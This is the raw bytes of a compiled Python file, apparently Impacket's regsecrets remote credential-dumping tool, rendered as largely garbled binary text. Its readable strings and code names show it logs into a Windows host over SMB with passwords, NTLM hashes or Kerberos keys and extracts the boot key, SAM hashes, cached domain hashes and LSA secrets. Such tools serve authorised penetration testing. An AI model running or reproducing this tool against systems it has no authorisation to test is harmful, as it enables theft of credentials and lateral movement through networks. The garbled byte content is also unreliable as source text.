o
    àý°j-  ã                
   @   s„  d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlm	Z	 d dl
mZ d dlmZmZmZ d dlmZ d dlmZmZ G d	d
„ d
ƒZedk�rÀejjdu r[e d¡ejƒe_eejƒ e jddd�Zejdddd� ejdddd� ejdddd� ejdddd� ejdddd� ejddddd � ejd!dd"dd � ejd#dd$dd � ejd%dd&d ed'� ejd(dd)d� e  d*¡Z!e!jd+dd,d� e  d-¡Z!e!jd.dd/d0d1� e!jd2dd3d� e!jd4dd5d� e!jd6dd7d8d1� e!jd9dd:d� e  d;¡Z!e!jd<dd=d>d1� e!jd?dd=d@d1� e"ej#ƒdAk�r e $¡  e %dA¡ e &¡ Z'e (e'j)e'j*¡ e	e'j+ƒ\Z,Z-Z.Z/e'j0du �r>e/e'_0e,du �rEdBZ,e'j1du�rWe 2e'j1e-e,e'¡ de'_3e.dBk�r}e-dBk�r}e'j4du �r}e'j5du �r}e'j6du �r}d dCl7m7Z7 e7dDƒZ.e'j6du�r†de'_3ee/e-e.e,e'ƒZ8ze8 9¡  W dS  e:�y¿ Z; ze <¡ j=ej>k�r¯d dl?Z?e? @¡  e Ae;¡ W Y dZ;[;dS dZ;[;ww dS )Eé    N)Úversion)Úlogger)Úparse_target)ÚSMBConnection)Ú
LSASecretsÚRemoteOperationsÚ	SAMHashes)ÚKeytab)Ú	unhexlifyÚhexlifyc                   @   s.   e Zd Zddd„Zdd„ Zdd„ Zd	d
„ ZdS )ÚDumpSecretsÚ Nc                 C   sº   || _ |j| _|| _|| _|| _d| _d| _|j| _	|j
| _d | _d | _d | _d | _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j d ur[|j  !d¡\| _| _d S d S )Nr   ú:)"Ú_DumpSecrets__remoteNameÚ	target_ipÚ_DumpSecrets__remoteHostÚ_DumpSecrets__usernameÚ_DumpSecrets__passwordÚ_DumpSecrets__domainÚ_DumpSecrets__lmhashÚ_DumpSecrets__nthashÚ
outputfileÚ_DumpSecrets__outputFileNameÚaesKeyÚ_DumpSecrets__aesKeyÚ_DumpSecrets__smbConnectionÚ_DumpSecrets__remoteOpsÚ_DumpSecrets__SAMHashesÚ_DumpSecrets__LSASecretsÚbootkeyÚ_DumpSecrets__bootkeyÚkÚ_DumpSecrets__doKerberosÚhistoryÚ_DumpSecrets__historyÚdc_ipÚ_DumpSecrets__kdcHostÚnosamÚ_DumpSecrets__nosamÚnocacheÚ_DumpSecrets__nocacheÚnolsaÚ_DumpSecrets__nolsaÚthrottleÚ_DumpSecrets__throttleÚhashesÚsplit)ÚselfÚ
remoteNameÚusernameÚpasswordÚdomainÚoptions© r7   úŠ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/regsecrets.pyÚ__init__C   s0   
ÿzDumpSecrets.__init__c              	   C   sb   t | j| jƒ| _| jr | j | j| j| j| j	| j
| j| j¡ d S | j | j| j| j| j	| j
¡ d S )N)r   r   r   r   r"   ÚkerberosLoginr   r   r   r   r   r   r&   Úlogin©r1   r7   r7   r8   Úconnect]   s   ÿ"zDumpSecrets.connectc              
   C   s   �z;d }z|   ¡  t| j| j| jƒ| _| j ¡  W n ty4 } zt 	dt
|ƒ ¡ W Y d }~nd }~ww | js[z| j ¡ }W n: tyZ } zt 	dt
|ƒ ¡ W Y d }~n$d }~ww | j d¡ri| jdd … | _t| jƒ}t dt|ƒ d¡ ¡ |d u r‚tdƒ‚| jsÐzt|| j| j| jd�| _| j ¡  | jd ur£| j | j¡ W n+ tyÏ } zt ¡ jtjkr¼dd l}| ¡  t 	d	t
|ƒ ¡ W Y d }~nd }~ww z8t|| j| j| jd
�| _ | j!sñ| j  "¡  | jd urñ| j  #| j¡ | j$�s| j  %¡  | jd u�r| j  &| j¡ W n- t�y5 } z t ¡ jtjk�r"dd l}| ¡  t 	dt
|ƒ ¡ W Y d }~nd }~ww |  '¡  W d S  tt(f�y } z4t ¡ jtjk�rXdd l}| ¡  t 	|¡ z|  '¡  W n   t d¡ Y W Y d }~d S W Y d }~d S d }~ww )NzRemoteOperations failed: %sÚ0xé   zTarget system bootKey: 0x%szutf-8zFailed to fetch bootKey)Ú	remoteOpsr#   r-   r   z SAM hashes extraction failed: %s)r#   r-   z LSA hashes extraction failed: %szFailed to perform cleanup...))r=   r   r   r"   r&   r   ÚenableRegistryÚ	ExceptionÚloggingÚerrorÚstrr    Ú
getBootKeyÚ
startswithr
   Úinfor   Údecoder(   r   r$   r.   r   Údumpr   ÚexportÚ	getLoggerÚlevelÚDEBUGÚ	tracebackÚ	print_excr   r   r*   ÚdumpCachedHashesÚexportCachedr,   ÚdumpSecretsÚexportSecretsÚcleanupÚKeyboardInterrupt)r1   ÚbootKeyÚerO   r7   r7   r8   rJ   e   sŽ   €ÿ€ÿ


€€üÿ


€€ü

ý€úzDumpSecrets.dumpc                 C   s(   t  d¡ | jr| j ¡  | j ¡  d S )NzCleaning up... )rC   rH   r   Úfinishr   Úlogoffr<   r7   r7   r8   rU   ¥   s   

zDumpSecrets.cleanup)r   r   r   N)Ú__name__Ú
__module__Ú__qualname__r9   r=   rJ   rU   r7   r7   r7   r8   r   B   s
    
@r   Ú__main__Úutf8TzfPerforms various techniques to dump secrets from the remote machine without executing any agent there.)Úadd_helpÚdescriptionÚtargetÚstorez6[[domain/]username[:password]@]<targetName or address>)ÚactionÚhelpz-tsÚ
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-systemzSYSTEM hive to parsez-bootkeyzbootkey for SYSTEM hivez-nosamzDo not retrieve SAM informationF)rd   re   Údefaultz-nocachez#Do not retrieve MSCache informationz-nolsazDo not retrieve LSASecretsz	-throttlez&Throttle in seconds between operations)rd   re   rg   Útypez-outputfilezJbase output filename. Extensions will be added for sam, secrets and cachedzdisplay optionsz-historyzCDump password history (NTDS and SAM hashes), and LSA secrets OldValÚauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)rd   Úmetavarre   z-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-keytabz"Read keys for SPN from keytab fileÚ
connectionz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz
-target-ipz£IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve ité   r   )Úgetpassz	Password:)BÚargparseÚcodecsrC   ÚsysÚimpacketr   Úimpacket.examplesr   Úimpacket.examples.utilsr   Úimpacket.smbconnectionr   Úimpacket.examples.regsecretsr   r   r   Úimpacket.krb5.keytabr	   Úbinasciir
   r   r   r[   ÚstdoutÚencodingÚ	getwriterÚprintÚBANNERÚArgumentParserÚparserÚadd_argumentÚintÚadd_argument_groupÚgroupÚlenÚargvÚ
print_helpÚexitÚ
parse_argsr6   ÚinitÚtsÚdebugrb   r5   r3   r4   r2   r   ÚkeytabÚloadKeysFromKeytabr!   r/   Úno_passr   rm   ÚdumperrJ   rB   rX   rL   rM   rN   rO   rP   rD   r7   r7   r7   r8   Ú<module>   sŽ   3
j
ÿ



ÿ

8€üµ